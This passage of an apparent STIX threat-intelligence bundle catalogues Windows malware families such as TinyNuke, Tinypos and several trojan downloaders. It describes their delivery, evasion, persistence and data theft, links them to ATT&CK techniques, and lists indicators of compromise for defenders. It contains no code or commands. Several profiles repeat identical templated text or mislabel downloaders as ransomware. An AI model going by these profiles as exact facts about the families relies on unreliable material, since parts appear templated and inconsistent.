      "description": "TrojanDownloader:Win32/Tinydl is a specialized, highly compact trojan designed to breach endpoint defenses and securely deliver secondary payloads. True to its name, Tinydl acts purely as a 'stager' or loader. Its only objective is to silently connect to a Command-and-Control (C2) server and pull down the final, destructive payload (such as ransomware or a RAT) (`T1105`).<br><br><b>Understanding Tinydl (Lightweight Downloaders)</b><br>To an end-user, a Tinydl infection is entirely invisible. For an incident response team, the danger lies in what it brings with it. Because Tinydl contains very little code, it generates few static signatures, making it difficult for traditional AV to detect. It is often written in assembly or pure C to maintain its tiny footprint.<br><br><b>Execution and Evasion Strategies</b><br>Tinydl is commonly distributed via malspam campaigns or exploit kits. Upon execution, it does not establish persistence or inject into other processes (to avoid triggering behavioral heuristics). It simply utilizes basic Windows APIs (`URLDownloadToFile` or raw sockets) to make an HTTP/HTTPS GET request to a hardcoded domain to fetch the payload, executes the payload, and then often terminates itself.<br><br><b>Indicators of Compromise (IoCs)</b><br>Host-based IoCs are fleeting and difficult to spot without EDR. Look for the rapid execution of a very small (often under 20KB) executable from `%Temp%` or `%Downloads%`, immediately followed by the creation and execution of a larger secondary binary in the same directory. Network IoCs involve identifying the specific C2 domains or IP addresses the downloader contacted to fetch its payloads. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tinydl",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tinydl"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f08cf96-8ebe-5490-9715-00fdab19341b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e40023d8-094b-5508-9c76-47868c6b6c4e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinydl exhibits technique T1105 (Ingress Tool Transfer (The core function of fetching the secondary payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5938fe6-20f7-5a57-a274-c58c7075a294",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e40023d8-094b-5508-9c76-47868c6b6c4e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinydl exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Primary distribution vector))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c2b068d-3d7e-51f7-a190-1def06cdca8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e40023d8-094b-5508-9c76-47868c6b6c4e",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinydl exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the small stager))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ba235806-926f-5e83-a81c-66f4efad8d71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tinyloader",
      "description": "TinyLoader (cataloged in antivirus telemetry as TrojanDownloader:Win32/TinyLoader, Trojan.TinyLoader, and Downloader.TinyLoader) is an ultra-compact first-stage dropper and trojan downloader designed for high-efficiency initial access and payload delivery. Delivered primarily through spear-phishing emails containing weaponized office documents, malicious shortcut (.lnk) files, and drive-by web exploit kits, TinyLoader features a minimal binary footprint (often under 10 kilobytes) to minimize detection by perimeter email gateways and static antivirus engines. Upon execution, TinyLoader performs environmental sandbox and virtual machine evasion checks, resolves native Windows APIs dynamically from memory, and issues encrypted HTTP requests to retrieve secondary payload stages from attacker-controlled command-and-control servers or compromised cloud storage repositories. Once downloaded, TinyLoader injects payloads directly into memory or drops and executes secondary malware families, including information stealers (RedLine, Vidar), remote access trojans (DCRat, Remcos), and ransomware. (Observed samples in benchmark: 203)",
      "is_family": true,
      "malware_types": [
        "downloader"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/TinyLoader",
        "Trojan.TinyLoader",
        "Downloader.TinyLoader",
        "Win32/TinyLoader"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tinyloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tinyloader"
        }
      ],
      "labels": [
        "downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f046d31-8844-5bac-b7ea-73036f420953",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba235806-926f-5e83-a81c-66f4efad8d71",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinyloader exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e4410eee-99a1-5fb9-8668-fbc342a58d70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba235806-926f-5e83-a81c-66f4efad8d71",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinyloader exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2c51738-61a8-54a3-a0a7-6b5502d7b10a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba235806-926f-5e83-a81c-66f4efad8d71",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinyloader exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d5545fd1-9507-59ed-a67d-144a6db495f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba235806-926f-5e83-a81c-66f4efad8d71",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinyloader exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92397203-617f-5ba4-b819-41ee6e7c216c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba235806-926f-5e83-a81c-66f4efad8d71",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinyloader exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--57754552-d31c-5621-82af-c12473485289",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tinynuke",
      "description": "TinyNuke (frequently documented in cybersecurity research as NukeBot, and tracked under signatures including Trojan:Win32/TinyNuke, Trojan.NukeBot, and Backdoor:Win32/TinyNuke) is an advanced modular banking trojan and HTTP botnet agent first identified in late 2016. Engineered to target online banking institutions, payment gateways, and cryptocurrency exchanges across Europe and North America, TinyNuke features an ultra-compact, high-performance C/C++ architecture. The malware injects custom DLL payloads into legitimate web browser processes (such as Google Chrome, Mozilla Firefox, and Internet Explorer). Utilizing Windows API hooks on network and SSL socket functions (such as PR_Write, HttpSendRequestW, and WS2_32 network routines), TinyNuke executes sophisticated Man-in-the-Browser (MitB) attacks. It intercepts online banking login credentials, alters web transaction data in real time, and injects rogue web forms to steal two-factor authentication (2FA) SMS codes and security tokens. Following the public leak of the author's complete source code repository in March 2017, numerous cybercriminal groups adapted the codebase for secondary downloader and credential theft operations. (Observed samples in benchmark: 19)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/TinyNuke",
        "Trojan.NukeBot",
        "Backdoor:Win32/TinyNuke",
        "Win32/NukeBot",
        "TinyNuke Banking Trojan",
        "NukeBot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tinynuke",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tinynuke"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--24ce6346-7158-5535-98cf-d15d2d16133d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tinypos",
      "description": "Malware:Win32/Tinypos is an exceedingly stealthy and highly specialized Point-of-Sale (PoS) malware family. Unlike larger, 'feature-rich' RAM scrapers, Tinypos is designed with a minimalist architecture (often compiling to less than 10KB). Its sole purpose is to infect Windows-based PoS terminals, scrape unencrypted credit card data from RAM (`T1005`), and exfiltrate it as quietly as possible, minimizing its footprint to evade detection by legacy AV solutions running on embedded systems.<br><br><b>Understanding Tinypos (Minimalist RAM Scrapers)</b><br>To a retail cashier, the infected register operates perfectly normally. To a security operations center (SOC), discovering Tinypos is a massive crisis, indicating a successful breach of the isolated Cardholder Data Environment (CDE). Tinypos is favored by advanced financial threat actors because its tiny size and lack of complex features (like built-in keyloggers or C2 infrastructure) make it extremely difficult to detect in memory.<br><br><b>Execution and Memory Scraping Mechanics</b><br>Tinypos is typically deployed manually by attackers after they have gained initial access to the corporate network and moved laterally to the PoS VLAN. Once executed, it establishes basic persistence (e.g., via a simple Registry Run key - `T1547.001`). Its core engine continuously scans the RAM (`T1005`) of specific processes known to handle payment data (like `pos.exe` or `javaw.exe`), utilizing custom regular expressions to identify Track 1 and Track 2 magnetic stripe data. Rather than communicating directly with a remote C2, Tinypos often writes the scraped, encrypted data to a hidden, locally staged file (`T1074.001`). The attackers then use secondary tools or scheduled tasks to periodically retrieve this dump file, completely masking the malware's exfiltration activity.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is devastating financial fraud resulting from compromised customer payment cards. Host-based IoCs are subtle due to the malware's size. Look for anomalous, tiny executables running out of `%Temp%` or masquerading as legitimate system files (e.g., `smss.exe` in the wrong directory). A critical IoC is the presence of unexpected, hidden, heavily encrypted log files appearing in temporary directories on the PoS terminal. Network IoCs are rarely generated directly by the Tinypos binary itself. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tinypos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tinypos"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f78ddf4e-9395-590e-aba9-d39bc49babd1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--24ce6346-7158-5535-98cf-d15d2d16133d",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinypos exhibits technique T1005 (Data from Local System (Scraping RAM for Track 1/Track 2 data))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70274a53-1e03-52d2-8548-64c13d7581ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--24ce6346-7158-5535-98cf-d15d2d16133d",
      "target_ref": "attack-pattern--772551ec-8f8a-5fc0-9ee5-8b57c9dbe443",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinypos exhibits technique T1074.001 (Data Staged: Local Data Staging (Storing scraped cards in a hidden file for later retrieval))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--53d9193d-9054-5867-b45b-e76bb648ad70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--24ce6346-7158-5535-98cf-d15d2d16133d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinypos exhibits technique T1547.001 (Boot or Logon Autostart Execution (Persistence via Registry Run keys))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--78bb4d54-3a83-5ce4-b72d-211ed98765b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tipp",
      "description": "Trojan:Win32/Tipp is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Tipp</b><br>To an end-user, a Tipp infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Tipp is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Tipp is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Tipp frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Tipp reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tipp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tipp"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e07039c1-5d59-572d-bcfc-9c7f5898e2db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--78bb4d54-3a83-5ce4-b72d-211ed98765b1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tipp exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4ea7250-7077-5315-91c9-61dcd553a760",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--78bb4d54-3a83-5ce4-b72d-211ed98765b1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tipp exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--465aec5e-30a1-5670-9f64-2e9a6204ce25",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--78bb4d54-3a83-5ce4-b72d-211ed98765b1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tipp exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c379827-4bf4-5496-8161-fc5477fd3648",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--78bb4d54-3a83-5ce4-b72d-211ed98765b1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tipp exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af1ce959-6eae-5cd6-88c1-890a833e3fef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--78bb4d54-3a83-5ce4-b72d-211ed98765b1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tipp exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--919e9801-d075-5f01-aaad-547b4aab9c1d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tirrip",
      "description": "Trojan:Win32/Tirrip is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Tirrip</b><br>To an end-user, a Tirrip infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Tirrip is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Tirrip is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Tirrip frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Tirrip reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tirrip",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tirrip"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1710847-2300-51af-a3f4-759b40933d0f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--919e9801-d075-5f01-aaad-547b4aab9c1d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tirrip exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1caa61a8-3d6a-510a-98d9-95586d3d2c57",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--919e9801-d075-5f01-aaad-547b4aab9c1d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tirrip exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f17ee27-79e0-58d8-8420-9d498107a35d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--919e9801-d075-5f01-aaad-547b4aab9c1d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tirrip exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--122b760d-1e30-5d98-b444-6a3084f62dee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--919e9801-d075-5f01-aaad-547b4aab9c1d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tirrip exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88ad5cd1-fd61-5fd1-a75f-bc81c47a90b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--919e9801-d075-5f01-aaad-547b4aab9c1d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tirrip exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dfc35f17-db2c-5e60-afa1-3ae0734eb18b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Titirez",
      "description": "Trojan:Win32/Titirez is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Titirez</b><br>To an end-user, a Titirez infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Titirez is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Titirez is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Titirez frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Titirez reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Titirez",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/titirez"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae2d861f-c4dd-534f-8080-8ba78a83f376",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dfc35f17-db2c-5e60-afa1-3ae0734eb18b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Titirez exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--53a65588-7e17-5812-8e28-99aae3e9aa1e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dfc35f17-db2c-5e60-afa1-3ae0734eb18b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Titirez exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f0743466-502b-5c3c-aa97-94c1f1f0308a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dfc35f17-db2c-5e60-afa1-3ae0734eb18b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Titirez exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc353e26-877f-5d79-8f18-dfab0b16f493",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dfc35f17-db2c-5e60-afa1-3ae0734eb18b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Titirez exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--088674ae-ea05-5371-89f5-cc8caeb63caa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dfc35f17-db2c-5e60-afa1-3ae0734eb18b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Titirez exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--02d679b0-ccbf-52b5-bc9a-f3f1352e0042",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tivmonk",
      "description": "<h3>Executive Summary</h3>\nTivmonk is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTivmonk is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Tivmonk operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) 